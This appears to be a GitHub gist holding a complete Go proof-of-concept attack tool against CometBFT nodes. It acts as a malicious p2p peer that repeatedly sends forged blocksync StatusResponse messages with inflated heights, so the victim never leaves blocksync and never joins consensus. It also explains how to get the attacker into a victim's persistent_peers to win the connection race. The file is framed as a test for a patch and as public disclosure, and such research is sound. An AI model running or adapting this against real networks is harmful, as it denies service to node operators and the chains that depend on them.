Skip to content

Instantly share code, notes, and snippets.

@reecepbcups
Last active April 21, 2026 17:16
Show Gist options
  • Select an option

  • Save reecepbcups/e646809d0d8bc2c1656eca3965beb19f to your computer and use it in GitHub Desktop.

Select an option

Save reecepbcups/e646809d0d8bc2c1656eca3965beb19f to your computer and use it in GitHub Desktop.
ICL said it's not an issue so...
// Package main — e2e PoC for fix-blocksync-maxpeerheight-poisoning.
//
// ref: https://x.com/p6rkdoye0n/status/2046563261014012215
//
// Spins up a minimal CometBFT p2p peer that dials a victim node and sends a
// forged blocksync StatusResponse{Base, Height} with wildly inflated values.
//
// Against unpatched code (pre 08ce2493e2), victim's BlockPool.maxPeerHeight
// is bumped to the attacker's forged height. IsCaughtUp never returns true,
// so the node stays wedged in blocksync and never transitions to consensus.
//
// Against the patched code, the attacker is kept as a peer but its inflated
// base/height is ignored by updateMaxPeerHeight. Victim joins consensus as
// expected.
//
// Run against a local chain (Cosmos-SDK or otherwise), using the node_id of
// your victim and its chain-id:
//
// go run ./poc-maxheight-attack \
// -target <NODE_ID>@127.0.0.1:26656 \
// -chain-id my-local-chain
//
// Get NODE_ID with: `cometbft show-node-id --home ~/.<appd>/`
// Or with an appd built against this cometbft: `<appd> comet show-node-id`.
//
// By default the attacker persists its node key to ./attacker-node-key.json so
// its node_id is stable across runs. This lets you pre-wire the attacker into
// the victim's persistent_peers so it connects AT BOOT, winning the race
// against legit peers during blocksync. Two-step demo:
//
// 1. go run ./poc-maxheight-attack -print-peer-string -listen 0.0.0.0:36656
// -> prints "<ATTACKER_ID>@127.0.0.1:36656" and exits
// 2. put that in the victim's persistent_peers, start victim, then run the
// attacker normally with -target <VICTIM_ID>@...
//
// Observation:
// - Unpatched victim: logs keep printing "Not caught up" / "height: N, maxPeerHeight: 1e18" indefinitely.
// - Patched victim: logs show maxPeerHeight tracking legit peers only; node enters consensus.
package main
import (
"flag"
"fmt"
"log"
"os"
"os/signal"
"strings"
"syscall"
"time"
bcproto "github.com/cometbft/cometbft/api/cometbft/blocksync/v1"
cfg "github.com/cometbft/cometbft/config"
cmtlog "github.com/cometbft/cometbft/libs/log"
"github.com/cometbft/cometbft/p2p"
"github.com/cometbft/cometbft/p2p/conn"
"github.com/cometbft/cometbft/version"
)
// Blocksync channel byte — matches internal/blocksync.BlocksyncChannel.
const blocksyncChannel = byte(0x40)
// AttackReactor pretends to speak blocksync but only ever sends a single
// forged StatusResponse. Everything received from the victim is ignored.
type AttackReactor struct {
p2p.BaseReactor
base int64
height int64
}
func NewAttackReactor(base, height int64) *AttackReactor {
r := &AttackReactor{base: base, height: height}
r.BaseReactor = *p2p.NewBaseReactor("Attack", r)
return r
}
func (*AttackReactor) GetChannels() []*conn.ChannelDescriptor {
return []*conn.ChannelDescriptor{{
ID: blocksyncChannel,
Priority: 5,
SendQueueCapacity: 1000,
RecvBufferCapacity: 50 * 4096,
RecvMessageCapacity: 1024 * 1024,
MessageType: &bcproto.Message{},
}}
}
// AddPeer fires the moment the victim finishes handshake with us.
// That's our window: shove the forged StatusResponse in immediately.
func (r *AttackReactor) AddPeer(peer p2p.Peer) {
r.Logger.Info("victim connected — sending poisoned StatusResponse",
"peer", peer.ID(), "base", r.base, "height", r.height)
send := func() {
ok := peer.Send(p2p.Envelope{
ChannelID: blocksyncChannel,
Message: &bcproto.StatusResponse{Base: r.base, Height: r.height},
})
if !ok {
r.Logger.Info("send returned false — channel full or peer gone")
}
}
send()
// Victim asks for status every ~10s. Re-send so we always win the race.
go func() {
t := time.NewTicker(5 * time.Second)
defer t.Stop()
for range t.C {
if !peer.IsRunning() {
return
}
send()
}
}()
}
// Receive: victim sent us something (probably its real StatusResponse on
// AddPeer, or a StatusRequest, or a BlockRequest if our base/height happen
// to cover a wanted height). Drop everything; we're not a real peer.
func (r *AttackReactor) Receive(e p2p.Envelope) {
r.Logger.Debug("ignoring victim msg", "type", fmt.Sprintf("%T", e.Message))
}
func main() {
var (
target = flag.String("target", "", "victim p2p address: <node_id>@<host>:<port> (required unless -print-peer-string)")
chainID = flag.String("chain-id", "", "victim chain-id / network (required unless -print-peer-string, must match exactly)")
listen = flag.String("listen", "0.0.0.0:36656", "attacker listen addr (must be reachable or at least bindable)")
advertiseHost = flag.String("advertise-host", "127.0.0.1", "host to print in -print-peer-string output (victim uses this to dial us)")
keyFile = flag.String("key-file", "./attacker-node-key.json", "path to persist attacker node key (stable node_id across runs)")
baseFlag = flag.Int64("base", 1_000_000_000_000_000_000, "forged base height")
heightArg = flag.Int64("height", 1_000_000_000_000_000_000, "forged tip height")
debug = flag.Bool("debug", false, "verbose logging")
printPeerString = flag.Bool("print-peer-string", false, "load/create node key, print <node_id>@<advertise-host>:<port>, then exit — useful to wire into victim persistent_peers")
)
flag.Parse()
logger := cmtlog.NewTMLogger(cmtlog.NewSyncWriter(os.Stderr))
if !*debug {
logger = cmtlog.NewFilter(logger, cmtlog.AllowInfo())
}
// --- identity (persistent so victim persistent_peers stays valid across runs) ---
nodeKey, err := p2p.LoadOrGenNodeKey(*keyFile)
if err != nil {
log.Fatalf("load/gen node key %q: %v", *keyFile, err)
}
if *printPeerString {
// Extract port from listen ("0.0.0.0:36656" -> "36656").
port := *listen
if i := strings.LastIndex(port, ":"); i >= 0 {
port = port[i+1:]
}
fmt.Printf("%s@%s:%s\n", nodeKey.ID(), *advertiseHost, port)
return
}
if *chainID == "" {
flag.Usage()
log.Fatal("missing required flag: -chain-id")
}
nodeInfo := p2p.DefaultNodeInfo{
ProtocolVersion: p2p.NewProtocolVersion(version.P2PProtocol, version.BlockProtocol, 0),
DefaultNodeID: nodeKey.ID(),
ListenAddr: *listen,
Network: *chainID,
Version: version.CMTSemVer,
Channels: []byte{blocksyncChannel},
Moniker: "maxheight-attacker",
Other: p2p.DefaultNodeInfoOther{
TxIndex: "off",
RPCAddress: "",
},
}
// --- transport + switch ---
p2pCfg := cfg.DefaultP2PConfig()
p2pCfg.ListenAddress = "tcp://" + *listen
p2pCfg.AllowDuplicateIP = true
p2pCfg.AddrBookStrict = false
p2pCfg.PexReactor = false
transport := p2p.NewMultiplexTransport(nodeInfo, *nodeKey, p2p.MConnConfig(p2pCfg))
selfAddr, err := p2p.NewNetAddressString(p2p.IDAddressString(nodeKey.ID(), *listen))
if err != nil {
log.Fatalf("parse listen addr: %v", err)
}
if err := transport.Listen(*selfAddr); err != nil {
log.Fatalf("transport listen: %v", err)
}
reactor := NewAttackReactor(*baseFlag, *heightArg)
reactor.SetLogger(logger)
sw := p2p.NewSwitch(p2pCfg, transport)
sw.SetLogger(logger)
sw.SetNodeKey(nodeKey)
sw.SetNodeInfo(nodeInfo)
sw.AddReactor("ATTACK", reactor)
if err := sw.Start(); err != nil {
log.Fatalf("switch start: %v", err)
}
logger.Info("attacker ready",
"attacker_id", nodeKey.ID(),
"listen", *listen,
"target", *target,
"forged_base", *baseFlag,
"forged_height", *heightArg,
"network", *chainID,
)
// If -target is set, keep dialing it. Otherwise run inbound-only: victim
// dials us (because we're in their persistent_peers) and AddPeer fires.
if *target != "" {
victimAddr, err := p2p.NewNetAddressString(*target)
if err != nil {
log.Fatalf("parse target: %v", err)
}
go func() {
for {
if err := sw.DialPeerWithAddress(victimAddr); err != nil {
logger.Info("dial failed", "err", err)
time.Sleep(3 * time.Second)
continue
}
for {
time.Sleep(2 * time.Second)
if sw.Peers().Size() == 0 {
logger.Info("victim dropped us, redialing")
break
}
}
}
}()
} else {
logger.Info("inbound-only mode — waiting for victim to dial us")
}
sigs := make(chan os.Signal, 1)
signal.Notify(sigs, syscall.SIGINT, syscall.SIGTERM)
<-sigs
logger.Info("shutting down")
_ = sw.Stop()
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment